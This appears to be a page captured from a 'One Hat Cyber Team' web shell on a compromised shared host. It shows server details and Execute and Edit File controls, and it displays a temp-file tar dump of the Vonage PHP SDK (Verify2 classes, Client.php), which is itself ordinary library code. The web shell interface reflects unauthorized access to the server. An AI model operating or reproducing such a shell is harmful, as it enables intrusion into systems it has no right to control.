One Hat Cyber Team
Your IP:
216.73.216.102
Server IP:
198.54.114.155
Server:
Linux server71.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
Server Software:
LiteSpeed
PHP Version:
5.6.40
Create File
|
Create Folder
Execute
Dir :
~
/
home
/
fluxyjvi
/
.cagefs
/
tmp
/
Edit File:
phpJ8pxsk
CODE_OF_CONDUCT.md 0000644 00000006425 15107326674 0007365 0 ustar 00 # Contributor Covenant Code of Conduct ## Our Pledge In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, sex characteristics, gender identity and expression, level of experience, education, socio-economic status, nationality, personal appearance, race, religion, or sexual identity and orientation. ## Our Standards Examples of behavior that contributes to creating a positive environment include: * Using welcoming and inclusive language * Being respectful of differing viewpoints and experiences * Gracefully accepting constructive criticism * Focusing on what is best for the community * Showing empathy towards other community members Examples of unacceptable behavior by participants include: * The use of sexualized language or imagery and unwelcome sexual attention or advances * Trolling, insulting/derogatory comments, and personal or political attacks * Public or private harassment * Publishing others' private information, such as a physical or electronic address, without explicit permission * Other conduct which could reasonably be considered inappropriate in a professional setting ## Our Responsibilities Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. ## Scope This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. ## Enforcement Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at devrel@vonage.com. All complaints will be reviewed and investigated and will result in a response that is deemed necessary and appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. ## Attribution This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html [homepage]: https://www.contributor-covenant.org For answers to common questions about this code of conduct, see https://www.contributor-covenant.org/faq CONTRIBUTING.md 0000644 00000001600 15107326674 0007005 0 ustar 00 # Getting Involved Thanks for your interest in the project, we'd love to have you involved! Check out the sections below to find out more about what to do next... ## Opening an Issue We always welcome issues, if you've seen something that isn't quite right, or you have a suggestion for a new feature, please go ahead and open an issue in this project. Include as much information as you have, it really helps. ## Making a Code Change We're always open to pull requests, but these should be small and clearly described so that we can understand what you're trying to do. Feel free to open an issue first and get some discussion going. When you're ready to start coding, fork this repository to your own GitHub account and make your changes in a new branch. Once you're happy, open a pull request and explain what the change is and why you think we should include it in our project. src/Verify2/ClientFactory.php 0000644 00000001130 15107326675 0012147 0 ustar 00 <?php namespace Vonage\Verify2; use Psr\Container\ContainerInterface; use Vonage\Client\APIResource; use Vonage\Client\Credentials\Handler\BasicHandler; use Vonage\Client\Credentials\Handler\KeypairHandler; class ClientFactory { public function __invoke(ContainerInterface $container): Client { $api = $container->make(APIResource::class); $api->setIsHAL(false) ->setErrorsOn200(false) ->setAuthHandler([new KeypairHandler(), new BasicHandler()]) ->setBaseUrl('https://api.nexmo.com/v2/verify'); return new Client($api); } } src/Verify2/Client.php 0000644 00000002303 15107326675 0010622 0 ustar 00 <?php namespace Vonage\Verify2; use Vonage\Client\APIClient; use Vonage\Client\APIResource; use Vonage\Client\Exception\Exception; use Vonage\Verify2\Request\BaseVerifyRequest; class Client implements APIClient { public function __construct(protected APIResource $api) { } public function getAPIResource(): APIResource { return $this->api; } public function startVerification(BaseVerifyRequest $request): ?array { return $this->getAPIResource()->create($request->toArray()); } public function check(string $requestId, $code): bool { try { $response = $this->getAPIResource()->create(['code' => $code], '/' . $requestId); } catch (Exception $e) { // For horrible reasons in the API Error Handler, throw the error unless it's a 409. if ($e->getCode() === 409) { throw new \Vonage\Client\Exception\Request('Conflict: The current Verify workflow step does not support a code.'); } throw $e; } return true; } public function cancelRequest(string $requestId): bool { $this->api->delete($requestId); return true; } } src/Verify2/VerifyObjects/VerifySilentAuthEvent.php 0000644 00000001430 15107326675 0016431 0 ustar 00 <?php namespace Vonage\Verify2\VerifyObjects; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class VerifySilentAuthEvent implements ArrayHydrateInterface { private array $data; public function __construct(array $data) { $this->data = $data; } public function __get($property) { return $this->data[$property] ?? null; } public function __set($property, $value) { $this->data[$property] = $value; return $this; } public function __isset(string $name): bool { return isset($this->data[$name]); } public function fromArray(array $data): static { $this->data = $data; return $this; } public function toArray(): array { return $this->data; } } src/Verify2/VerifyObjects/VerifyEvent.php 0000644 00000001272 15107326675 0014434 0 ustar 00 <?php namespace Vonage\Verify2\VerifyObjects; class VerifyEvent { private array $data; public function __construct(array $data) { $this->data = $data; } public function __get($property) { return $this->data[$property] ?? null; } public function __set($property, $value) { $this->data[$property] = $value; return $this; } public function __isset(string $name): bool { return isset($this->data[$name]); } public function fromArray(array $data): static { $this->data = $data; return $this; } public function toArray(): array { return $this->data; } } src/Verify2/VerifyObjects/VerifyStatusUpdate.php 0000644 00000001301 15107326676 0015773 0 ustar 00 <?php namespace Vonage\Verify2\VerifyObjects; class VerifyStatusUpdate { private array $data; public function __construct(array $data) { $this->data = $data; } public function __get($property) { return $this->data[$property] ?? null; } public function __set($property, $value) { $this->data[$property] = $value; return $this; } public function __isset(string $name): bool { return isset($this->data[$name]); } public function fromArray(array $data): static { $this->data = $data; return $this; } public function toArray(): array { return $this->data; } } src/Verify2/VerifyObjects/VerificationLocale.php 0000644 00000001374 15107326676 0015734 0 ustar 00 <?php namespace Vonage\Verify2\VerifyObjects; class VerificationLocale { private array $allowedCodes = [ 'en-us', 'en-gb', 'es-es', 'es-mx', 'es-us', 'it-it', 'fr-fr', 'de-de', 'ru-ru', 'hi-in', 'pt-br', 'pt-pt', 'id-id', ]; public function __construct(protected string $code = 'en-us') { if (! in_array($code, $this->allowedCodes, true)) { throw new \InvalidArgumentException('Invalid Locale Code Provided'); } } public function getCode(): string { return $this->code; } public function setCode(string $code): static { $this->code = $code; return $this; } } src/Verify2/VerifyObjects/VerificationWorkflow.php 0000644 00000004213 15107326676 0016342 0 ustar 00 <?php namespace Vonage\Verify2\VerifyObjects; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class VerificationWorkflow implements ArrayHydrateInterface { public const WORKFLOW_SMS = 'sms'; public const WORKFLOW_WHATSAPP = 'whatsapp'; public const WORKFLOW_WHATSAPP_INTERACTIVE = 'whatsapp_interactive'; public const WORKFLOW_VOICE = 'voice'; public const WORKFLOW_EMAIL = 'email'; public const WORKFLOW_SILENT_AUTH = 'silent_auth'; protected array $allowedWorkflows = [ self::WORKFLOW_SMS, self::WORKFLOW_WHATSAPP, self::WORKFLOW_WHATSAPP_INTERACTIVE, self::WORKFLOW_VOICE, self::WORKFLOW_EMAIL, self::WORKFLOW_SILENT_AUTH ]; public function __construct( protected string $channel, protected string $to, protected string $from = '' ) { if (! in_array($channel, $this->allowedWorkflows, true)) { throw new \InvalidArgumentException($this->channel . ' is not a valid workflow'); } } public function getChannel(): string { return $this->channel; } public function setChannel(string $channel): static { $this->channel = $channel; return $this; } public function getTo(): string { return $this->to; } public function setTo(string $to): static { $this->to = $to; return $this; } public function getFrom(): string { return $this->from; } public function setFrom(string $from): static { $this->from = $from; return $this; } public function fromArray(array $data): static { $this->channel = $data['channel']; $this->to = $data['to']; if (array_key_exists('from', $data)) { $this->from = $data['from']; } return $this; } public function toArray(): array { $returnArray = [ 'channel' => $this->getChannel(), 'to' => $this->getTo() ]; if (!empty($this->getFrom())) { $returnArray['from'] = $this->getFrom(); } return $returnArray; } } src/Verify2/VerifyObjects/VerifyWhatsAppInteractiveEvent.php 0000644 00000001441 15107326676 0020301 0 ustar 00 <?php namespace Vonage\Verify2\VerifyObjects; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class VerifyWhatsAppInteractiveEvent implements ArrayHydrateInterface { private array $data; public function __construct(array $data) { $this->data = $data; } public function __get($property) { return $this->data[$property] ?? null; } public function __set($property, $value) { $this->data[$property] = $value; return $this; } public function __isset(string $name): bool { return isset($this->data[$name]); } public function fromArray(array $data): static { $this->data = $data; return $this; } public function toArray(): array { return $this->data; } } src/Verify2/Webhook/Factory.php 0000644 00000002101 15107326676 0012406 0 ustar 00 <?php namespace Vonage\Verify2\Webhook; use Vonage\Verify2\VerifyObjects\VerifyEvent; use Vonage\Verify2\VerifyObjects\VerifySilentAuthEvent; use Vonage\Verify2\VerifyObjects\VerifyStatusUpdate; use Vonage\Verify2\VerifyObjects\VerifyWhatsAppInteractiveEvent; class Factory extends \Vonage\Webhook\Factory { /** * Warning: This logic is fairly brittle, since there are no current better ways of determining * the type of event or update. */ public static function createFromArray(array $data) { if ($data['type'] === 'event') { if ($data['channel'] === 'silent_auth') { return new VerifySilentAuthEvent($data); } if ($data['channel'] === 'whatsapp_interactive') { return new VerifyWhatsAppInteractiveEvent($data); } return new VerifyEvent($data); } if ($data['type'] === 'summary') { return new VerifyStatusUpdate($data); } throw new \OutOfBoundsException('Could not create Verify2 Object from payload'); } } src/Verify2/Request/EmailRequest.php 0000644 00000001457 15107326677 0013447 0 ustar 00 <?php namespace Vonage\Verify2\Request; use Vonage\Verify2\VerifyObjects\VerificationLocale; use Vonage\Verify2\VerifyObjects\VerificationWorkflow; class EmailRequest extends BaseVerifyRequest { public function __construct( protected string $to, protected string $brand, protected string $from, protected ?VerificationLocale $locale = null, ) { if (!$this->locale) { $this->locale = new VerificationLocale(); } if ($this->code) { $this->setCode($this->code); } $workflow = new VerificationWorkflow(VerificationWorkflow::WORKFLOW_EMAIL, $to, $from); $this->addWorkflow($workflow); } public function toArray(): array { return $this->getBaseVerifyUniversalOutputArray(); } } src/Verify2/Request/BaseVerifyRequest.php 0000644 00000007544 15107326677 0014462 0 ustar 00 <?php namespace Vonage\Verify2\Request; use Vonage\Verify2\VerifyObjects\VerificationLocale; use Vonage\Verify2\VerifyObjects\VerificationWorkflow; abstract class BaseVerifyRequest implements RequestInterface { private const TIMEOUT_MIN = 60; private const TIMEOUT_MAX = 900; private const LENGTH_MIN = 4; private const LENGTH_MAX = 10; protected ?VerificationLocale $locale = null; protected int $timeout = 300; protected ?bool $fraudCheck = null; protected ?string $clientRef = null; protected int $length = 4; protected string $brand; protected array $workflows = []; protected ?string $code = null; public function getLocale(): ?VerificationLocale { return $this->locale; } public function setLocale(?VerificationLocale $verificationLocale): static { $this->locale = $verificationLocale; return $this; } public function getTimeout(): int { return $this->timeout; } public function setTimeout(int $timeout): static { $range = [ 'options' => [ 'min_range' => self::TIMEOUT_MIN, 'max_range' => self::TIMEOUT_MAX ] ]; if (!filter_var($timeout, FILTER_VALIDATE_INT, $range)) { throw new \OutOfBoundsException('Timeout ' . $timeout . ' is not valid'); } $this->timeout = $timeout; return $this; } public function getCode(): ?string { return $this->code; } public function setCode(string $code): static { $this->code = $code; return $this; } public function getClientRef(): ?string { return $this->clientRef; } public function setClientRef(?string $clientRef): static { $this->clientRef = $clientRef; return $this; } public function getLength(): int { return $this->length; } public function setLength(int $length): static { $range = [ 'options' => [ 'min_range' => self::LENGTH_MIN, 'max_range' => self::LENGTH_MAX ] ]; if (!filter_var($length, FILTER_VALIDATE_INT, $range)) { throw new \OutOfBoundsException('PIN Length ' . $length . ' is not valid'); } $this->length = $length; return $this; } public function getBrand(): string { return $this->brand; } public function setBrand(string $brand): static { $this->brand = $brand; return $this; } public function getWorkflows(): array { return array_map(static function ($workflow) { return $workflow->toArray(); }, $this->workflows); } public function addWorkflow(VerificationWorkflow $verificationWorkflow): static { $this->workflows[] = $verificationWorkflow; return $this; } public function getFraudCheck(): ?bool { return $this->fraudCheck ?? null; } public function setFraudCheck(bool $fraudCheck): BaseVerifyRequest { $this->fraudCheck = $fraudCheck; return $this; } public function getBaseVerifyUniversalOutputArray(): array { $returnArray = [ 'locale' => $this->getLocale()->getCode(), 'channel_timeout' => $this->getTimeout(), 'code_length' => $this->getLength(), 'brand' => $this->getBrand(), 'workflow' => $this->getWorkflows() ]; if ($this->getFraudCheck() === false) { $returnArray['fraud_check'] = $this->getFraudCheck(); } if ($this->getClientRef()) { $returnArray['client_ref'] = $this->getClientRef(); } if ($this->getCode()) { $returnArray['code'] = $this->getCode(); } return $returnArray; } } src/Verify2/Request/WhatsAppInteractiveRequest.php 0000644 00000001323 15107326677 0016335 0 ustar 00 <?php namespace Vonage\Verify2\Request; use Vonage\Verify2\VerifyObjects\VerificationLocale; use Vonage\Verify2\VerifyObjects\VerificationWorkflow; class WhatsAppInteractiveRequest extends BaseVerifyRequest { public function __construct( protected string $to, protected string $brand, protected ?VerificationLocale $locale = null ) { if (!$this->locale) { $this->locale = new VerificationLocale(); } $workflow = new VerificationWorkflow(VerificationWorkflow::WORKFLOW_WHATSAPP_INTERACTIVE, $to); $this->addWorkflow($workflow); } public function toArray(): array { return $this->getBaseVerifyUniversalOutputArray(); } } src/Verify2/Request/SilentAuthRequest.php 0000644 00000001063 15107326677 0014471 0 ustar 00 <?php namespace Vonage\Verify2\Request; use Vonage\Verify2\VerifyObjects\VerificationWorkflow; class SilentAuthRequest extends BaseVerifyRequest { public function __construct( protected string $to, protected string $brand, ) { $workflow = new VerificationWorkflow(VerificationWorkflow::WORKFLOW_SILENT_AUTH, $to); $this->addWorkflow($workflow); } public function toArray(): array { return [ 'brand' => $this->getBrand(), 'workflow' => $this->getWorkflows() ]; } } src/Verify2/Request/VoiceRequest.php 0000644 00000001413 15107326677 0013455 0 ustar 00 <?php namespace Vonage\Verify2\Request; use Vonage\Verify2\VerifyObjects\VerificationLocale; use Vonage\Verify2\VerifyObjects\VerificationWorkflow; class VoiceRequest extends BaseVerifyRequest { public function __construct( protected string $to, protected string $brand, protected ?VerificationLocale $locale = null, ) { if (!$this->locale) { $this->locale = new VerificationLocale(); } $workflow = new VerificationWorkflow(VerificationWorkflow::WORKFLOW_VOICE, $to); if ($this->code) { $workflow->setCode($this->code); } $this->addWorkflow($workflow); } public function toArray(): array { return $this->getBaseVerifyUniversalOutputArray(); } } src/Verify2/Request/SMSRequest.php 0000644 00000001265 15107326700 0013042 0 ustar 00 <?php namespace Vonage\Verify2\Request; use Vonage\Verify2\VerifyObjects\VerificationLocale; use Vonage\Verify2\VerifyObjects\VerificationWorkflow; class SMSRequest extends BaseVerifyRequest { public function __construct( protected string $to, protected string $brand, protected ?VerificationLocale $locale = null, ) { if (!$this->locale) { $this->locale = new VerificationLocale(); } $workflow = new VerificationWorkflow(VerificationWorkflow::WORKFLOW_SMS, $to); $this->addWorkflow($workflow); } public function toArray(): array { return $this->getBaseVerifyUniversalOutputArray(); } } src/Verify2/Request/RequestInterface.php 0000644 00000001723 15107326700 0014277 0 ustar 00 <?php namespace Vonage\Verify2\Request; use Vonage\Verify2\VerifyObjects\VerificationLocale; use Vonage\Verify2\VerifyObjects\VerificationWorkflow; interface RequestInterface { public function setLocale(VerificationLocale $verificationLocale): static; public function setTimeout(int $timeout): static; public function setClientRef(string $clientRef): static; public function setLength(int $length): static; public function setBrand(string $brand): static; public function addWorkflow(VerificationWorkflow $verificationWorkflow): static; public function getLocale(): ?VerificationLocale; public function getTimeout(): int; public function getClientRef(): ?string; public function getLength(): int; public function getBrand(): string; public function getWorkflows(): array; public function getBaseVerifyUniversalOutputArray(): array; public function setCode(string $code): static; public function getCode(): ?string; } src/Verify2/Request/WhatsAppRequest.php 0000644 00000001347 15107326700 0014130 0 ustar 00 <?php namespace Vonage\Verify2\Request; use Vonage\Verify2\VerifyObjects\VerificationLocale; use Vonage\Verify2\VerifyObjects\VerificationWorkflow; class WhatsAppRequest extends BaseVerifyRequest { public function __construct( protected string $to, protected string $brand, protected ?string $from = null, protected ?VerificationLocale $locale = null, ) { if (!$this->locale) { $this->locale = new VerificationLocale(); } $workflow = new VerificationWorkflow(VerificationWorkflow::WORKFLOW_WHATSAPP, $to); $this->addWorkflow($workflow); } public function toArray(): array { return $this->getBaseVerifyUniversalOutputArray(); } } src/Client.php 0000644 00000047444 15107326700 0007300 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage; use Composer\InstalledVersions; use Http\Client\HttpClient; use InvalidArgumentException; use Laminas\Diactoros\Request; use Laminas\Diactoros\Uri; use Lcobucci\JWT\Token; use Psr\Container\ContainerInterface; use Psr\Http\Client\ClientExceptionInterface; use Psr\Http\Client\ClientInterface; use Psr\Http\Message\RequestInterface; use Psr\Http\Message\ResponseInterface; use Psr\Log\LoggerInterface; use Psr\Log\LogLevel; use RuntimeException; use Vonage\Account\ClientFactory; use Vonage\Application\ClientFactory as ApplicationClientFactory; use Vonage\Client\APIResource; use Vonage\Client\Credentials\Basic; use Vonage\Client\Credentials\Container; use Vonage\Client\Credentials\CredentialsInterface; use Vonage\Client\Credentials\Handler\BasicHandler; use Vonage\Client\Credentials\Handler\SignatureBodyFormHandler; use Vonage\Client\Credentials\Handler\SignatureBodyHandler; use Vonage\Client\Credentials\Handler\SignatureQueryHandler; use Vonage\Client\Credentials\Handler\TokenBodyFormHandler; use Vonage\Client\Credentials\Handler\TokenBodyHandler; use Vonage\Client\Credentials\Handler\TokenQueryHandler; use Vonage\Client\Credentials\Keypair; use Vonage\Client\Credentials\SignatureSecret; use Vonage\Client\Exception\Exception as ClientException; use Vonage\Client\Factory\FactoryInterface; use Vonage\Client\Factory\MapFactory; use Vonage\Conversion\ClientFactory as ConversionClientFactory; use Vonage\Entity\EntityInterface; use Vonage\Insights\ClientFactory as InsightsClientFactory; use Vonage\Meetings\ClientFactory as MeetingsClientFactory; use Vonage\Numbers\ClientFactory as NumbersClientFactory; use Vonage\Redact\ClientFactory as RedactClientFactory; use Vonage\Secrets\ClientFactory as SecretsClientFactory; use Vonage\SMS\ClientFactory as SMSClientFactory; use Vonage\Subaccount\ClientFactory as SubaccountClientFactory; use Vonage\Messages\ClientFactory as MessagesClientFactory; use Vonage\Users\ClientFactory as UsersClientFactory; use Vonage\Verify\ClientFactory as VerifyClientFactory; use Vonage\Verify2\ClientFactory as Verify2ClientFactory; use Vonage\Verify\Verification; use Vonage\Voice\ClientFactory as VoiceClientFactory; use Vonage\Logger\{LoggerAwareInterface, LoggerTrait}; use function array_key_exists; use function array_merge; use function call_user_func_array; use function http_build_query; use function implode; use function is_null; use function json_encode; use function method_exists; use function set_error_handler; use function str_replace; use function strpos; /** * Vonage API Client, allows access to the API from PHP. * * @method Account\Client account() * @method Meetings\Client meetings() * @method Messages\Client messages() * @method Application\Client applications() * @method Conversion\Client conversion() * @method Insights\Client insights() * @method Numbers\Client numbers() * @method Redact\Client redact() * @method Secrets\Client secrets() * @method SMS\Client sms() * @method Subaccount\Client subaccount() * @method Users\Client users() * @method Verify\Client verify() * @method Verify2\Client verify2() * @method Voice\Client voice() * * @property string restUrl * @property string apiUrl */ class Client implements LoggerAwareInterface { use LoggerTrait; public const BASE_API = 'https://api.nexmo.com'; public const BASE_REST = 'https://rest.nexmo.com'; /** * API Credentials * * @var CredentialsInterface */ protected $credentials; /** * Http Client * * @var HttpClient */ protected $client; /** * @var bool */ protected $debug = false; /** * @var ContainerInterface */ protected $factory; /** * @var LoggerInterface */ protected $logger; /** * @var array */ protected $options = ['show_deprecations' => false, 'debug' => false]; /** * @string */ public $apiUrl; /** * @string */ public $restUrl; /** * Create a new API client using the provided credentials. */ public function __construct( CredentialsInterface $credentials, $options = [], ?ClientInterface $client = null ) { if (is_null($client)) { // Since the user did not pass a client, try and make a client // using the Guzzle 6 adapter or Guzzle 7 (depending on availability) list($guzzleVersion) = explode('@', InstalledVersions::getVersion('guzzlehttp/guzzle'), 1); $guzzleVersion = (float) $guzzleVersion; if ($guzzleVersion >= 6.0 && $guzzleVersion < 7) { /** @noinspection CallableParameterUseCaseInTypeContextInspection */ /** @noinspection PhpUndefinedNamespaceInspection */ /** @noinspection PhpUndefinedClassInspection */ $client = new \Http\Adapter\Guzzle6\Client(); } if ($guzzleVersion >= 7.0 && $guzzleVersion < 8.0) { $client = new \GuzzleHttp\Client(); } } $this->setHttpClient($client); // Make sure we know how to use the credentials if ( !($credentials instanceof Container) && !($credentials instanceof Basic) && !($credentials instanceof SignatureSecret) && !($credentials instanceof Keypair) ) { throw new RuntimeException('unknown credentials type: ' . $credentials::class); } $this->credentials = $credentials; $this->options = array_merge($this->options, $options); // If they've provided an app name, validate it if (isset($options['app'])) { $this->validateAppOptions($options['app']); } // Set the default URLs. Keep the constants for // backwards compatibility $this->apiUrl = static::BASE_API; $this->restUrl = static::BASE_REST; // If they've provided alternative URLs, use that instead // of the defaults if (isset($options['base_rest_url'])) { $this->restUrl = $options['base_rest_url']; } if (isset($options['base_api_url'])) { $this->apiUrl = $options['base_api_url']; } if (isset($options['debug'])) { $this->debug = $options['debug']; } $this->setFactory( new MapFactory( [ // Registered Services by name 'account' => ClientFactory::class, 'applications' => ApplicationClientFactory::class, 'conversion' => ConversionClientFactory::class, 'insights' => InsightsClientFactory::class, 'numbers' => NumbersClientFactory::class, 'meetings' => MeetingsClientFactory::class, 'messages' => MessagesClientFactory::class, 'redact' => RedactClientFactory::class, 'secrets' => SecretsClientFactory::class, 'sms' => SMSClientFactory::class, 'subaccount' => SubaccountClientFactory::class, 'users' => UsersClientFactory::class, 'verify' => VerifyClientFactory::class, 'verify2' => Verify2ClientFactory::class, 'voice' => VoiceClientFactory::class, // Additional utility classes APIResource::class => APIResource::class, ], $this ) ); // Disable throwing E_USER_DEPRECATED notices by default, the user can turn it on during development if (array_key_exists('show_deprecations', $this->options) && ($this->options['show_deprecations'] == true)) { set_error_handler( static function ( int $errno, string $errstr, string $errfile = null, int $errline = null, array $errorcontext = null ) { return true; }, E_USER_DEPRECATED ); } } public function getRestUrl(): string { return $this->restUrl; } public function getApiUrl(): string { return $this->apiUrl; } /** * Set the Http Client to used to make API requests. * * This allows the default http client to be swapped out for a HTTPlug compatible * replacement. */ public function setHttpClient(ClientInterface $client): self { $this->client = $client; return $this; } /** * Get the Http Client used to make API requests. */ public function getHttpClient(): ClientInterface { return $this->client; } /** * Set the factory used to create API specific clients. */ public function setFactory(FactoryInterface $factory): self { $this->factory = $factory; return $this; } public function getFactory(): ContainerInterface { return $this->factory; } /** * @deprecated Use a configured APIResource with a HandlerInterface * Request business logic is being removed from the User Client Layer. */ public static function signRequest(RequestInterface $request, SignatureSecret $credentials): RequestInterface { $handler = match ($request->getHeaderLine('content-type')) { 'application/json' => new SignatureBodyHandler(), 'application/x-www-form-urlencoded' => new SignatureBodyFormHandler(), default => new SignatureQueryHandler(), }; return $handler($request, $credentials); } /** * @deprecated Use a configured APIResource with a HandlerInterface * Request business logic is being removed from the User Client Layer. */ public static function authRequest(RequestInterface $request, Basic $credentials): RequestInterface { switch ($request->getHeaderLine('content-type')) { case 'application/json': if (static::requiresBasicAuth($request)) { $handler = new BasicHandler(); } elseif (static::requiresAuthInUrlNotBody($request)) { $handler = new TokenQueryHandler(); } else { $handler = new TokenBodyHandler(); } break; case 'application/x-www-form-urlencoded': $handler = new TokenBodyFormHandler(); break; default: if (static::requiresBasicAuth($request)) { $handler = new BasicHandler(); } else { $handler = new TokenQueryHandler(); } break; } return $handler($request, $credentials); } /** * @throws ClientException */ public function generateJwt($claims = []): Token { if (method_exists($this->credentials, "generateJwt")) { return $this->credentials->generateJwt($claims); } throw new ClientException($this->credentials::class . ' does not support JWT generation'); } /** * @deprecated Use a configured APIResource with a HandlerInterface * Request business logic is being removed from the User Client Layer. */ public function get(string $url, array $params = []): ResponseInterface { $queryString = '?' . http_build_query($params); $url .= $queryString; $request = new Request($url, 'GET'); return $this->send($request); } /** * @deprecated Use a configured APIResource with a HandlerInterface * Request business logic is being removed from the User Client Layer. */ public function post(string $url, array $params): ResponseInterface { $request = new Request( $url, 'POST', 'php://temp', ['content-type' => 'application/json'] ); $request->getBody()->write(json_encode($params)); return $this->send($request); } /** * @deprecated Use a configured APIResource with a HandlerInterface * Request business logic is being removed from the User Client Layer. */ public function postUrlEncoded(string $url, array $params): ResponseInterface { $request = new Request( $url, 'POST', 'php://temp', ['content-type' => 'application/x-www-form-urlencoded'] ); $request->getBody()->write(http_build_query($params)); return $this->send($request); } /** * @deprecated Use a configured APIResource with a HandlerInterface * Request business logic is being removed from the User Client Layer. */ public function put(string $url, array $params): ResponseInterface { $request = new Request( $url, 'PUT', 'php://temp', ['content-type' => 'application/json'] ); $request->getBody()->write(json_encode($params)); return $this->send($request); } /** * @deprecated Use a configured APIResource with a HandlerInterface * Request business logic is being removed from the User Client Layer. */ public function delete(string $url): ResponseInterface { $request = new Request( $url, 'DELETE' ); return $this->send($request); } /** * Wraps the HTTP Client, creates a new PSR-7 request adding authentication, signatures, etc. * * @throws ClientExceptionInterface */ public function send(RequestInterface $request): ResponseInterface { // Allow any part of the URI to be replaced with a simple search if (isset($this->options['url'])) { foreach ($this->options['url'] as $search => $replace) { $uri = (string)$request->getUri(); $new = str_replace($search, $replace, $uri); if ($uri !== $new) { $request = $request->withUri(new Uri($new)); } } } // The user agent must be in the following format: // LIBRARY-NAME/LIBRARY-VERSION LANGUAGE-NAME/LANGUAGE-VERSION [APP-NAME/APP-VERSION] // See https://github.com/Vonage/client-library-specification/blob/master/SPECIFICATION.md#reporting $userAgent = []; // Library name $userAgent[] = 'vonage-php/' . $this->getVersion(); // Language name $userAgent[] = 'php/' . PHP_MAJOR_VERSION . '.' . PHP_MINOR_VERSION; // If we have an app set, add that to the UA if (isset($this->options['app'])) { $app = $this->options['app']; $userAgent[] = $app['name'] . '/' . $app['version']; } // Set the header. Build by joining all the parts we have with a space $request = $request->withHeader('User-Agent', implode(' ', $userAgent)); /** @noinspection PhpUnnecessaryLocalVariableInspection */ $response = $this->client->sendRequest($request); if ($this->debug) { $id = uniqid('', true); $request->getBody()->rewind(); $response->getBody()->rewind(); $this->log( LogLevel::DEBUG, 'Request ' . $id, [ 'url' => $request->getUri()->__toString(), 'headers' => $request->getHeaders(), 'body' => explode("\n", $request->getBody()->__toString()) ] ); $this->log( LogLevel::DEBUG, 'Response ' . $id, [ 'headers ' => $response->getHeaders(), 'body' => explode("\n", $response->getBody()->__toString()) ] ); $request->getBody()->rewind(); $response->getBody()->rewind(); } return $response; } protected function validateAppOptions($app): void { $disallowedCharacters = ['/', ' ', "\t", "\n"]; foreach (['name', 'version'] as $key) { if (!isset($app[$key])) { throw new InvalidArgumentException('app.' . $key . ' has not been set'); } foreach ($disallowedCharacters as $char) { if (strpos($app[$key], $char) !== false) { throw new InvalidArgumentException('app.' . $key . ' cannot contain the ' . $char . ' character'); } } } } public function __call($name, $args) { if (!$this->factory->has($name)) { throw new RuntimeException('no api namespace found: ' . $name); } $collection = $this->factory->get($name); if (empty($args)) { return $collection; } return call_user_func_array($collection, $args); } /** * @noinspection MagicMethodsValidityInspection */ public function __get($name) { if (!$this->factory->has($name)) { throw new RuntimeException('no api namespace found: ' . $name); } return $this->factory->get($name); } /** * @deprecated Use the Verify Client, this shouldn't be here and will be removed. */ public function serialize(EntityInterface $entity): string { if ($entity instanceof Verification) { return $this->verify()->serialize($entity); } throw new RuntimeException('unknown class `' . $entity::class . '``'); } protected function getVersion(): string { return InstalledVersions::getVersion('vonage/client-core'); } public function getLogger(): ?LoggerInterface { if (!$this->logger && $this->getFactory()->has(LoggerInterface::class)) { $this->setLogger($this->getFactory()->get(LoggerInterface::class)); } return $this->logger; } public function getCredentials(): CredentialsInterface { return $this->credentials; } /** * @deprecated Use a configured APIResource with a HandlerInterface * Request business logic is being removed from the User Client Layer. */ protected static function requiresBasicAuth(RequestInterface $request): bool { $path = $request->getUri()->getPath(); $isSecretManagementEndpoint = strpos($path, '/accounts') === 0 && strpos($path, '/secrets') !== false; $isApplicationV2 = strpos($path, '/v2/applications') === 0; return $isSecretManagementEndpoint || $isApplicationV2; } /** * @deprecated Use a configured APIResource with a HandlerInterface * Request business logic is being removed from the User Client Layer. */ protected static function requiresAuthInUrlNotBody(RequestInterface $request): bool { $path = $request->getUri()->getPath(); $isRedact = strpos($path, '/v1/redact') === 0; $isMessages = strpos($path, '/v1/messages') === 0; return $isRedact || $isMessages; } /** * @deprecated Use a configured APIResource with a HandlerInterface * Request business logic is being removed from the User Client Layer. */ protected function needsKeypairAuthentication(RequestInterface $request): bool { $path = $request->getUri()->getPath(); $isCallEndpoint = strpos($path, '/v1/calls') === 0; $isRecordingUrl = strpos($path, '/v1/files') === 0; $isStitchEndpoint = strpos($path, '/beta/conversation') === 0; $isUserEndpoint = strpos($path, '/beta/users') === 0; return $isCallEndpoint || $isRecordingUrl || $isStitchEndpoint || $isUserEndpoint; } } src/Meetings/UrlObject.php 0000644 00000000636 15107326701 0011517 0 ustar 00 <?php namespace Vonage\Meetings; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class UrlObject implements ArrayHydrateInterface { private array $data; public function fromArray(array $data): void { $this->data = $data; } public function toArray(): array { return $this->data; } public function __get($name) { return $this->data[$name]; } } src/Meetings/DialInNumber.php 0000644 00000000641 15107326701 0012133 0 ustar 00 <?php namespace Vonage\Meetings; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class DialInNumber implements ArrayHydrateInterface { private array $data; 